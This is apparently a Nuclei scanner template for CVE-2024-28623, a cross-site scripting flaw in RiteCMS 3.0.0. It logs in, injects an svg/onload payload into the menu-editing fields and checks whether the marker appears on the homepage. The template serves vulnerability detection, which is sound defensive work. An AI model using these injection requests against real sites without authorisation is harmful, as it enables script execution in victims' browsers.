RiteCMS 3.0.0 - Cross-site Scripting

id: CVE-2024-28623

info:
  name: RiteCMS 3.0.0 - Cross-site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    RiteCMS v3.0.0 contains a reflected XSS caused by unsanitized input in the main_menu/edit_section component, letting attackers execute arbitrary scripts in the context of the victim's browser.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Sanitize and validate input in the main_menu/edit_section component, and update to the latest version if available.
  reference:
    - https://github.com/GURJOTEXPERT/ritecms
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28623
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-28623
    cwe-id: CWE-79
    epss-score: 0.01317
    epss-percentile: 0.67292
    cpe: cpe:2.3:a:ritecms:ritecms:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: ritecms
    product: ritecms
    fofa-query: title="RiteCMS"
  tags: cve,cve2024,ritecms,xss,oss,authenticated

variables:
  string: "{{rand_text_numeric(13)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /admin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&userpw={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        POST /admin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mode=menus&menu=main_menu&edit_item=4&name=faq&title=faq&link=faq&section='"><svg/onload=console.log('{{string}}')>&accesskey='"><svg/onload=console.log('{{string}}')>&submenu='"><svg/onload=console.log('{{string}}')>&edit_menu_item_submitted=%C2%A0OK%C2%A0

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "{{string}}", "RiteCMS")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450221009118f5ae2208cfcbdaa7fbf9799af975ebd8908990517077de9556070510be76022017604dcc1d4ca7c4d85e84df845be700d5c016ee95cbc64ce57b87723c59af10:922c64590222798bb761d5b6d8e72950